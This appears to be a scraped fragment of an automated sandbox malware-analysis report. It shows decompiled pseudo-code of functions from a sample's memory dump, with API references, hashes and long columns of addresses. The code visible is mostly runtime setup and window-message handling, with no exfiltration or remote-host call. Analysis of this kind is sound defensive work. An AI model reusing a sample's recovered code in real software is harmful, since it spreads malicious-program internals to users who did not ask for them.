                                                                                                                                                                            0x004365ed
                                                                                                                                                                            0x00436617
                                                                                                                                                                            0x00436623
                                                                                                                                                                            0x00436624
                                                                                                                                                                            0x0043662f
                                                                                                                                                                            0x00436640
                                                                                                                                                                            0x00436644
                                                                                                                                                                            0x0043664a
                                                                                                                                                                            0x00436652
                                                                                                                                                                            0x0043665f
                                                                                                                                                                            0x004365ef
                                                                                                                                                                            0x004365f5
                                                                                                                                                                            0x004365fd
                                                                                                                                                                            0x0043660a
                                                                                                                                                                            0x0043660a
                                                                                                                                                                            0x004365ed
                                                                                                                                                                            0x004365cd

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcscpy$Cleanup$Startup_strcatgethostbynamegethostnameinet_ntoa
                                                                                                                                                                            • String ID: 0.0.0.0
                                                                                                                                                                            • API String ID: 2691793716-3771769585
                                                                                                                                                                            • Opcode ID: 14a41467f9d11ea11a2145ae69383335b2829f14a705eac619931020d3b3d2f9
                                                                                                                                                                            • Instruction ID: 29d249c793a1599df1911ffab6ed89036a29d54f41df1114d8fa63e2d2305339
                                                                                                                                                                            • Opcode Fuzzy Hash: 14a41467f9d11ea11a2145ae69383335b2829f14a705eac619931020d3b3d2f9
                                                                                                                                                                            • Instruction Fuzzy Hash: 5C21D4726003016BD620FB269C42FFF33A89FD4318F54492FF64456242EABDD58983AB
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00416B12 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 92%
                                                                                                                                                                            			E00416B12(intOrPtr __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t46;
				void* _t47;

				_t35 = __ebx;
				_push(0xc);
				_push(0x48c968);
				E0041718C(__ebx, __edi, __esi);
				_t45 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E0041177F(_t45);
				}
				 *(_t47 - 0x1c) = _t23;
				_t46 =  *((intOrPtr*)(_t47 + 8));
				 *((intOrPtr*)(_t46 + 0x5c)) = 0x4831b0;
				 *((intOrPtr*)(_t46 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 =  *0x482310;
					 *((intOrPtr*)(_t46 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t46 + 0x1fc)) = GetProcAddress( *(_t47 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t46 + 0x70)) = 1;
				 *((char*)(_t46 + 0xc8)) = 0x43;
				 *((char*)(_t46 + 0x14b)) = 0x43;
				 *(_t46 + 0x68) = 0x490338;
				E00418407(_t35, 0xd);
				 *(_t47 - 4) =  *(_t47 - 4) & 0x00000000;
				InterlockedIncrement( *(_t46 + 0x68));
				 *(_t47 - 4) = 0xfffffffe;
				E00416BE7();
				E00418407(_t35, 0xc);
				 *(_t47 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t47 + 0xc));
				 *((intOrPtr*)(_t46 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x490940; // 0x490868
					 *((intOrPtr*)(_t46 + 0x6c)) = _t32;
				}
				E00417BA8( *((intOrPtr*)(_t46 + 0x6c)));
				 *(_t47 - 4) = 0xfffffffe;
				return E004171D1(E00416BF0());
			}








                                                                                                                                                                            0x00416b12
                                                                                                                                                                            0x00416b12
                                                                                                                                                                            0x00416b14
                                                                                                                                                                            0x00416b19
                                                                                                                                                                            0x00416b1e
                                                                                                                                                                            0x00416b24
                                                                                                                                                                            0x00416b2c
                                                                                                                                                                            0x00416b2f
                                                                                                                                                                            0x00416b34
                                                                                                                                                                            0x00416b35
                                                                                                                                                                            0x00416b38
                                                                                                                                                                            0x00416b3b
                                                                                                                                                                            0x00416b45
                                                                                                                                                                            0x00416b4a
                                                                                                                                                                            0x00416b52
                                                                                                                                                                            0x00416b5a
                                                                                                                                                                            0x00416b6a
                                                                                                                                                                            0x00416b6a
                                                                                                                                                                            0x00416b70
                                                                                                                                                                            0x00416b73
                                                                                                                                                                            0x00416b7a
                                                                                                                                                                            0x00416b81
                                                                                                                                                                            0x00416b8a
                                                                                                                                                                            0x00416b90
                                                                                                                                                                            0x00416b97
                                                                                                                                                                            0x00416b9d
                                                                                                                                                                            0x00416ba4
                                                                                                                                                                            0x00416bab
                                                                                                                                                                            0x00416bb1
                                                                                                                                                                            0x00416bb4
                                                                                                                                                                            0x00416bb7
                                                                                                                                                                            0x00416bbc
                                                                                                                                                                            0x00416bbe
                                                                                                                                                                            0x00416bc3
                                                                                                                                                                            0x00416bc3
                                                                                                                                                                            0x00416bc9
                                                                                                                                                                            0x00416bcf
                                                                                                                                                                            0x00416be0

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetModuleHandleW.KERNEL32(KERNEL32.DLL,0048C968,0000000C,00416C4D,00000000,00000000,?,004114D4,?,00000000,00000001), ref: 00416B24
                                                                                                                                                                            • __crt_waiting_on_module_handle.LIBCMT ref: 00416B2F
                                                                                                                                                                              • Part of subcall function 0041177F: Sleep.KERNEL32(000003E8,00000000,?,00416A38,KERNEL32.DLL,?,00416AA4,?,004114D4,?,00000000,00000001), ref: 0041178B
                                                                                                                                                                              • Part of subcall function 0041177F: GetModuleHandleW.KERNEL32(00000000,?,00416A38,KERNEL32.DLL,?,00416AA4,?,004114D4,?,00000000,00000001), ref: 00411794
                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00416B58
                                                                                                                                                                            • GetProcAddress.KERNEL32(?,DecodePointer), ref: 00416B68
                                                                                                                                                                            • __lock.LIBCMT ref: 00416B8A
                                                                                                                                                                            • InterlockedIncrement.KERNEL32(?), ref: 00416B97
                                                                                                                                                                            • __lock.LIBCMT ref: 00416BAB
                                                                                                                                                                            • ___addlocaleref.LIBCMT ref: 00416BC9
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
                                                                                                                                                                            • String ID: DecodePointer$EncodePointer$KERNEL32.DLL
                                                                                                                                                                            • API String ID: 1028249917-2843748187
                                                                                                                                                                            • Opcode ID: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                                                                                                            • Instruction ID: dfb830706c011728ae11a8c0f52cb2fa371409e71f4acd403326aacb15a29bdd
                                                                                                                                                                            • Opcode Fuzzy Hash: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                                                                                                            • Instruction Fuzzy Hash: 4E119671944701AFD720EF76C905B9EBBE0AF00714F10495FE469A6391DB78A580CB1D
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0044920C Relevance: 18.2, APIs: 12, Instructions: 243windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 42%
                                                                                                                                                                            			E0044920C(void* __eflags, void* __fp0, signed int _a4, int _a8, int _a12, int _a16, int _a20, signed int _a24, struct HWND__* _a28, char _a36, long _a40, char _a76, char _a92, long _a104, char _a108, signed int _a116, char _a124, intOrPtr _a128, long _a144, struct HWND__* _a160, intOrPtr _a164, int _a172, intOrPtr* _a180, int _a196, long _a208, int _a224, long _a228, long _a240, char _a248, char _a264, intOrPtr _a8460, WCHAR* _a8464, long _a8468) {
				long _v12;
				long _v28;
				intOrPtr _t127;
				intOrPtr _t128;
				signed int _t130;
				struct HWND__** _t150;
				long _t161;
				struct HWND__* _t165;
				WCHAR* _t166;

				E00425210(0x2108);
				_t166 = _a8464;
				_a20 = 0;
				_a8 = 0;
				_a12 = 0;
				_a16 = 0;
				if(E0044213B(0x4a83d8, _a8460,  &_a4,  &_a24) == 0) {
					L13:
					__eflags = 0;
					return 0;
				} else {
					_t127 =  *0x4a8438; // 0x0
					_t128 =  *0x4a844c; // 0x2f019d0
					_t150 =  *( *(_t128 + _a24 * 4));
					_t165 =  *_t150;
					_t130 = _t150[0x22] & 0x000000ff;
					_a4 =  *((intOrPtr*)( *((intOrPtr*)(_t127 + _a4 * 4))));
					if(_t130 > 3) {
						_t161 = _a8468;
						__eflags = _t161;
						if(__eflags == 0) {
							goto L7;
						} else {
							__eflags =  *_t161;
							if(__eflags != 0) {
								goto L13;
							} else {
								goto L7;
							}
						}
					} else {
						switch( *((intOrPtr*)(_t130 * 4 +  &M00449898))) {
							case 0:
								_a20 = 0x143;
								_a8 = 0x158;
								_a12 = 0x14e;
								_a16 = 0x14b;
								goto L7;
							case 1:
								_a20 = 0x180;
								_a8 = 0x1a2;
								_a12 = 0x186;
								_a16 = 0x184;
								goto L7;
							case 2:
								L7:
								if(_t130 > 0x1c) {
									L64:
									__eflags = _t166;
									if(_t166 == 0) {
										goto L10;
									} else {
										_t132 = SetWindowTextW(_t165, _t166);
										__eflags = _t132;
										if(_t132 == 0) {
											goto L13;
										} else {
											E0043401C(_a4, _t150, 1);
											goto L67;
										}
									}
								} else {
									_t130 =  *(_t130 + 0x4498e0) & 0x000000ff;
									switch( *((intOrPtr*)(_t130 * 4 +  &M004498A8))) {
										case 0:
											if(_t166 != 0) {
												_t136 = SendMessageW(_t165, _a8, 0xffffffff, _t166);
												__eflags = _t136 - 0xffffffff;
												if(_t136 == 0xffffffff) {
													_t137 =  *_t166 & 0x0000ffff;
													_a4 = _t166;
													__eflags = _t137 -  *0x4a83ec; // 0x7c
													if(__eflags == 0) {
														L16:
														_t138 = CharNextW(_t166);
														_push(0);
														_push(0);
														_a4 = _t138;
														_push(_a16);
														L17:
														SendMessageW(_t165, ??, ??, ??);
													} else {
														__eflags = _t137;
														if(__eflags == 0) {
															goto L16;
														}
													}
													__eflags = E00433A98(__eflags,  &_a264,  &_a4, 0x4a83ec);
													if(__eflags != 0) {
														_push( &_a264);
														_push(0);
														_push(_a20);
														goto L17;
													}
													_t142 = _a8468;
													__eflags = _t142;
													if(_t142 == 0) {
														goto L67;
													} else {
														_t144 = SendMessageW(_t165, _a8, 0xffffffff, _t142);
														__eflags = _t144 - 0xffffffff;
														if(_t144 == 0xffffffff) {
															goto L67;
														} else {
															SendMessageW(_t165, _a12, _t144, 0);
															return 1;
														}
													}
												} else {
													SendMessageW(_t165, _a12, _t136, 0);
													E0043401C(_a4, _t150, 1);
													goto L13;
												}
											} else {
												goto L10;
											}
											goto L68;
										case 1:
											__eax = _a8468;
											__eflags = __eax;
											if(__eax == 0) {
												L29:
												SetWindowTextW(__edi, __esi) = SendMessageW(__edi, 0xb1, 0xf4240, 0xf423f);
												__eax = _a4;
												 *(_a4 + 0x1b8) = 0xffffffff;
												__eax = 1;
												__esp = __esp + 0x2108;
												return 1;
											} else {
												__eflags =  *__eax;
												if( *__eax == 0) {
													goto L29;
												} else {
													SendMessageW(__edi, 0xc2, 1, __esi) = 1;
													__esp = __esp + 0x2108;
													return 1;
												}
											}
											goto L68;
										case 2:
											__ecx =  &_a76;
											__eax = E00435A35( &_a76, __esi,  &_a76, 1, 1);
											__edx =  &_a76;
											_push( &_a76);
											goto L31;
										case 3:
											L10:
											return _t130 | 0xffffffff;
											goto L68;
										case 4:
											__eax = E00413F97(__esi);
											asm("fnstcw word [esp+0x1c]");
											__eax = _a4 & 0x0000ffff;
											__eax = _a4 & 0x0000ffff | 0x00000c00;
											__eflags = __eax;
											_a24 = __eax;
											__esp = __esp + 4;
											asm("fldcw word [esp+0x2c]");
											asm("fistp qword [esp+0x2c]");
											__edx = _a24;
											asm("fldcw word [esp+0x24]");
											SendMessageW(__edi, 0x402, _a24, 0) = 1;
											__esp = __esp + 0x2108;
											return 1;
											goto L68;
										case 5:
											__edx =  *(__ebx + 0x8b) & 0x000000ff;
											__eax =  &_a196;
											_push( &_a196);
											__eax =  *(__ecx + 0x17c);
											_push( *(__ebx + 0x8b) & 0x000000ff);
											_push(0x133d);
											_push( *(__ecx + 0x17c));
											_a196 = 1;
											_a208 = __esi;
											__eax =  *0x482650();
											__eflags = __eax;
											if(__eax == 0) {
												goto L13;
											} else {
												__eflags =  *(__ebx + 0x8b) - 0xff;
												if( *(__ebx + 0x8b) == 0xff) {
													goto L67;
												} else {
													__ecx = _v12;
													__edx =  *_v12;
													_push(1);
													_push(0);
													_push( *_v12);
													 *0x482620() = 1;
													__esp = __esp + 0x2108;
													return 1;
												}
											}
											goto L68;
										case 6:
											_push(0x208);
											__eax = E0041171A(__ebx, __edi, __eflags);
											__ecx =  *(__ebx + 8);
											__esp = __esp + 4;
											__edi = __eax;
											__eax =  &_a124;
											_push( &_a124);
											_push(0);
											_push(__ebp);
											_push( *(__ebx + 8));
											_a124 = 0x30;
											_a128 = 0x10;
											_a160 = __edi;
											_a164 = 0x104;
											__eax =  *0x48259c();
											__eflags =  &_a124;
											if(__eflags == 0) {
												L63:
												E004112EF(__ebx, __edx, __edi, __esi, __eflags, __edi) = 0;
												__eflags = 0;
												__esp = __esp + 0x2108;
												return 0;
											} else {
												__eflags = _a116 & 0x00000800;
												if(__eflags != 0) {
													goto L63;
												} else {
													__eax =  *(__ebx + 8);
													__edx =  &_a108;
													_push(__edx);
													_push(0);
													_push(__ebp);
													_push(__eax);
													_a144 = __esi;
													"pR-v *-v"();
													__eflags = __eax;
													if(__eflags == 0) {
														goto L63;
													} else {
														__ecx = _v28;
														__edx =  *_v28;
														_push(__edx);
														 *0x482534() = E004112EF(__ebx, __edx, __edi, __esi, __eflags, __edi);
														__eax = 1;
														__esp = __esp + 0x2108;
														return 1;
													}
												}
											}
											goto L68;
										case 7:
											__eax =  *(__ebx + 0xc);
											__edx =  *(__ebx + 0x30);
											__ecx =  &_a224;
											_push( &_a224);
											_push(0);
											_push(0x113f);
											_a224 = 1;
											_a228 =  *(__ebx + 0xc);
											_a240 = __esi;
											_push( *(__ebx + 0x30));
											goto L32;
										case 8:
											__eax = E00413F97(__esi);
											_push(__eax);
											_push(1);
											_push(0x405);
											_push(__edi);
											 *0x482650() = 1;
											__esp = __esp + 0x2108;
											return 1;
											goto L68;
										case 9:
											__eflags = __esi;
											if(__esi == 0) {
												goto L10;
											} else {
												__edx =  &_a92;
												__eax = E004131F0(__edi,  &_a92, 0, 0x20);
												__ebp =  *0x482650;
												__ebx = 0;
												__eflags = 0;
												_a4 = __esi;
												while(1) {
													__eax =  &_a4;
													__ecx =  &_a264;
													__eax = E00433A98(__eflags,  &_a264,  &_a4, 0x4a83ec);
													__eflags = __al;
													if(__al == 0) {
														break;
													}
													__eflags = _a264;
													__edx =  &_a264;
													_a92 = 4;
													_a104 =  &_a264;
													if(__eflags == 0) {
														L41:
														__ebx = __ebx + 1;
														continue;
													} else {
														__eax =  &_a92;
														_push( &_a92);
														_push(__ebx);
														_push(0x1060);
														_push(__edi);
														__eax =  *__ebp();
														__eflags =  &_a92;
														if(__eflags == 0) {
															goto L13;
														} else {
															goto L41;
														}
													}
													goto L68;
												}
												__eax = E004112D5(__esi);
												__eflags = __eax;
												if(__eax == 0) {
													L44:
													__edx = _a4;
													__eax =  &_a92;
													_push( &_a92);
													_push(__ebx);
													_push(0x1060);
													_push(__edi);
													_a104 = _a4;
													__eax =  *__ebp();
													goto L33;
												} else {
													__eax = E004112D5(__esi);
													__eflags =  *((intOrPtr*)(__esi + __eax * 2 - 2)) -  *0x4a83ec;
													if( *((intOrPtr*)(__esi + __eax * 2 - 2)) !=  *0x4a83ec) {
														goto L67;
													} else {
														goto L44;
													}
												}
											}
											goto L68;
										case 0xa:
											__ebx =  *(__ebx + 0x30);
											__eflags = __esi;
											if(__esi == 0) {
												goto L10;
											} else {
												__ecx =  &_a36;
												__eax = E004131F0(__edi,  &_a36, 0, 0x28);
												__edx =  &_a172;
												_push( &_a172);
												_push(0xffffffff);
												_push(0x1053);
												_a180 = __ebp;
												__ebp =  *0x482650;
												_push(__ebx);
												_a172 = 1;
												__eax =  *__ebp();
												_a24 = __eax;
												__eflags = __eax - 0xffffffff;
												if(__eax == 0xffffffff) {
													goto L13;
												} else {
													__edi = 0;
													__eflags = 0;
													_v12 = __esi;
													while(1) {
														__eax =  &_v12;
														__ecx =  &_a248;
														__eax = E00433A98(__eflags,  &_a248,  &_v12, 0x4a83ec);
														__eflags = __al;
														if(__al == 0) {
															break;
														}
														__eflags = _a248;
														__edx =  &_a248;
														_a20 = 1;
														_a40 =  &_a248;
														_a28 = __edi;
														if(__eflags == 0) {
															L51:
															__edi =  &(__edi->i);
															continue;
														} else {
															__ecx = _a24;
															__eax =  &_a20;
															_push( &_a20);
															_push(_a24);
															_push(0x1074);
															_push(__ebx);
															__eax =  *__ebp();
															__eflags =  &_a20;
															if(__eflags == 0) {
																goto L13;
															} else {
																goto L51;
															}
														}
														goto L68;
													}
													__eax = E004112D5(__esi);
													__eflags = __eax;
													if(__eax == 0) {
														L54:
														__edx = _a24;
														__eax = _v12;
														__ecx =  &_a20;
														_push( &_a20);
														_push(_a24);
														_push(0x1074);
														_push(__ebx);
														_a40 = _v12;
														_a28 = __edi;
														__eax =  *__ebp();
														goto L33;
													} else {
														__eax = E004112D5(__esi);
														__eflags =  *((intOrPtr*)(__esi + __eax * 2 - 2)) -  *0x4a83ec;
														if( *((intOrPtr*)(__esi + __eax * 2 - 2)) !=  *0x4a83ec) {
															goto L67;
														} else {
															goto L54;
														}
													}
												}
											}
											goto L68;
										case 0xb:
											__eax = E00413F97(__esi);
											 *(__ebx + 0x48) = __eax;
											__eax = 1;
											__esp = __esp + 0x2108;
											return 1;
											goto L68;
										case 0xc:
											 &_a76 = E00435A35(__ecx, __esi,  &_a76, 1, 1);
											__ecx =  &_a76;
											_push( &_a76);
											L31:
											_push(0);
											_push(0x1002);
											_push(__edi);
											L32:
											__eax = SendMessageW();
											L33:
											__eflags = __eax;
											if(__eax != 0) {
												L67:
												return 1;
											} else {
												__esp = __esp + 0x2108;
												return __eax;
											}
											goto L68;
										case 0xd:
											goto L64;
									}
								}
								goto L68;
						}
					}
				}
				L68:
			}












                                                                                                                                                                            0x00449211
                                                                                                                                                                            0x00449220
                                                                                                                                                                            0x0044922a
                                                                                                                                                                            0x0044922e
                                                                                                                                                                            0x00449232
                                                                                                                                                                            0x00449236
                                                                                                                                                                            0x00449251
                                                                                                                                                                            0x0044933c
                                                                                                                                                                            0x0044933c
                                                                                                                                                                            0x00449348
                                                                                                                                                                            0x00449257
                                                                                                                                                                            0x0044925b
                                                                                                                                                                            0x00449263
                                                                                                                                                                            0x0044926f
                                                                                                                                                                            0x00449279
                                                                                                                                                                            0x0044927b
                                                                                                                                                                            0x0044927e
                                                                                                                                                                            0x00449285
                                                                                                                                                                            0x004492d2
                                                                                                                                                                            0x004492d9
                                                                                                                                                                            0x004492db
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004492dd
                                                                                                                                                                            0x004492dd
                                                                                                                                                                            0x004492e1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004492e1
                                                                                                                                                                            0x00449287
                                                                                                                                                                            0x00449287
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044928e
                                                                                                                                                                            0x00449296
                                                                                                                                                                            0x0044929e
                                                                                                                                                                            0x004492a6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004492b0
                                                                                                                                                                            0x004492b8
                                                                                                                                                                            0x004492c0
                                                                                                                                                                            0x004492c8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004492e3
                                                                                                                                                                            0x004492e6
                                                                                                                                                                            0x00449861
                                                                                                                                                                            0x00449861
                                                                                                                                                                            0x00449863
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449869
                                                                                                                                                                            0x0044986b
                                                                                                                                                                            0x00449871
                                                                                                                                                                            0x00449873
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449879
                                                                                                                                                                            0x00449881
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449881
                                                                                                                                                                            0x00449873
                                                                                                                                                                            0x004492ec
                                                                                                                                                                            0x004492ec
                                                                                                                                                                            0x004492f3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004492fc
                                                                                                                                                                            0x0044931d
                                                                                                                                                                            0x0044931f
                                                                                                                                                                            0x00449322
                                                                                                                                                                            0x0044934b
                                                                                                                                                                            0x0044934e
                                                                                                                                                                            0x00449352
                                                                                                                                                                            0x00449359
                                                                                                                                                                            0x00449360
                                                                                                                                                                            0x00449361
                                                                                                                                                                            0x0044936b
                                                                                                                                                                            0x0044936d
                                                                                                                                                                            0x0044936f
                                                                                                                                                                            0x00449373
                                                                                                                                                                            0x00449374
                                                                                                                                                                            0x00449375
                                                                                                                                                                            0x0044935b
                                                                                                                                                                            0x0044935b
                                                                                                                                                                            0x0044935e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044935e
                                                                                                                                                                            0x00449393
                                                                                                                                                                            0x00449395
                                                                                                                                                                            0x004493a2
                                                                                                                                                                            0x004493a3
                                                                                                                                                                            0x004493a5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004493a5
                                                                                                                                                                            0x004493a8
                                                                                                                                                                            0x004493af
                                                                                                                                                                            0x004493b1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004493b7
                                                                                                                                                                            0x004493c0
                                                                                                                                                                            0x004493c2
                                                                                                                                                                            0x004493c5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004493cb
                                                                                                                                                                            0x004493d4
                                                                                                                                                                            0x004493e5
                                                                                                                                                                            0x004493e5
                                                                                                                                                                            0x004493c5
                                                                                                                                                                            0x00449324
                                                                                                                                                                            0x0044932d
                                                                                                                                                                            0x00449337
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449337
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449486
                                                                                                                                                                            0x0044948d
                                                                                                                                                                            0x0044948f
                                                                                                                                                                            0x004494b8
                                                                                                                                                                            0x004494d0
                                                                                                                                                                            0x004494d6
                                                                                                                                                                            0x004494da
                                                                                                                                                                            0x004494e4
                                                                                                                                                                            0x004494ed
                                                                                                                                                                            0x004494f3
                                                                                                                                                                            0x00449491
                                                                                                                                                                            0x00449491
                                                                                                                                                                            0x00449495
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449497
                                                                                                                                                                            0x004494a6
                                                                                                                                                                            0x004494af
                                                                                                                                                                            0x004494b5
                                                                                                                                                                            0x004494b5
                                                                                                                                                                            0x00449495
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004494fa
                                                                                                                                                                            0x00449500
                                                                                                                                                                            0x00449508
                                                                                                                                                                            0x0044950c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004492fe
                                                                                                                                                                            0x0044930b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004493eb
                                                                                                                                                                            0x004493f0
                                                                                                                                                                            0x004493f4
                                                                                                                                                                            0x004493f9
                                                                                                                                                                            0x004493f9
                                                                                                                                                                            0x004493fe
                                                                                                                                                                            0x00449402
                                                                                                                                                                            0x00449405
                                                                                                                                                                            0x00449409
                                                                                                                                                                            0x0044940d
                                                                                                                                                                            0x00449418
                                                                                                                                                                            0x00449422
                                                                                                                                                                            0x0044942b
                                                                                                                                                                            0x00449431
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449738
                                                                                                                                                                            0x0044973f
                                                                                                                                                                            0x00449746
                                                                                                                                                                            0x00449747
                                                                                                                                                                            0x0044974d
                                                                                                                                                                            0x0044974e
                                                                                                                                                                            0x00449753
                                                                                                                                                                            0x00449754
                                                                                                                                                                            0x0044975f
                                                                                                                                                                            0x00449766
                                                                                                                                                                            0x0044976c
                                                                                                                                                                            0x0044976e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449774
                                                                                                                                                                            0x00449774
                                                                                                                                                                            0x0044977b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449781
                                                                                                                                                                            0x00449781
                                                                                                                                                                            0x00449785
                                                                                                                                                                            0x00449787
                                                                                                                                                                            0x00449789
                                                                                                                                                                            0x0044978b
                                                                                                                                                                            0x00449792
                                                                                                                                                                            0x0044979b
                                                                                                                                                                            0x004497a1
                                                                                                                                                                            0x004497a1
                                                                                                                                                                            0x0044977b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004497a4
                                                                                                                                                                            0x004497a9
                                                                                                                                                                            0x004497ae
                                                                                                                                                                            0x004497b1
                                                                                                                                                                            0x004497b4
                                                                                                                                                                            0x004497b6
                                                                                                                                                                            0x004497bd
                                                                                                                                                                            0x004497be
                                                                                                                                                                            0x004497c0
                                                                                                                                                                            0x004497c1
                                                                                                                                                                            0x004497c2
                                                                                                                                                                            0x004497cd
                                                                                                                                                                            0x004497d8
                                                                                                                                                                            0x004497df
                                                                                                                                                                            0x004497ea
                                                                                                                                                                            0x004497f0
                                                                                                                                                                            0x004497f2
                                                                                                                                                                            0x00449849
                                                                                                                                                                            0x00449852
                                                                                                                                                                            0x00449852
                                                                                                                                                                            0x00449858
                                                                                                                                                                            0x0044985e
                                                                                                                                                                            0x004497f4
                                                                                                                                                                            0x004497f4
                                                                                                                                                                            0x004497ff
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449801
                                                                                                                                                                            0x00449801
                                                                                                                                                                            0x00449804
                                                                                                                                                                            0x0044980b
                                                                                                                                                                            0x0044980c
                                                                                                                                                                            0x0044980e
                                                                                                                                                                            0x0044980f
                                                                                                                                                                            0x00449810
                                                                                                                                                                            0x00449817
                                                                                                                                                                            0x0044981d
                                                                                                                                                                            0x0044981f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449821
                                                                                                                                                                            0x00449821
                                                                                                                                                                            0x00449825
                                                                                                                                                                            0x00449827
                                                                                                                                                                            0x0044982f
                                                                                                                                                                            0x00449837
                                                                                                                                                                            0x00449840
                                                                                                                                                                            0x00449846
                                                                                                                                                                            0x00449846
                                                                                                                                                                            0x0044981f
                                                                                                                                                                            0x004497ff
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449704
                                                                                                                                                                            0x00449707
                                                                                                                                                                            0x0044970a
                                                                                                                                                                            0x00449711
                                                                                                                                                                            0x00449712
                                                                                                                                                                            0x00449714
                                                                                                                                                                            0x00449719
                                                                                                                                                                            0x00449724
                                                                                                                                                                            0x0044972b
                                                                                                                                                                            0x00449732
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449435
                                                                                                                                                                            0x00449442
                                                                                                                                                                            0x00449443
                                                                                                                                                                            0x00449445
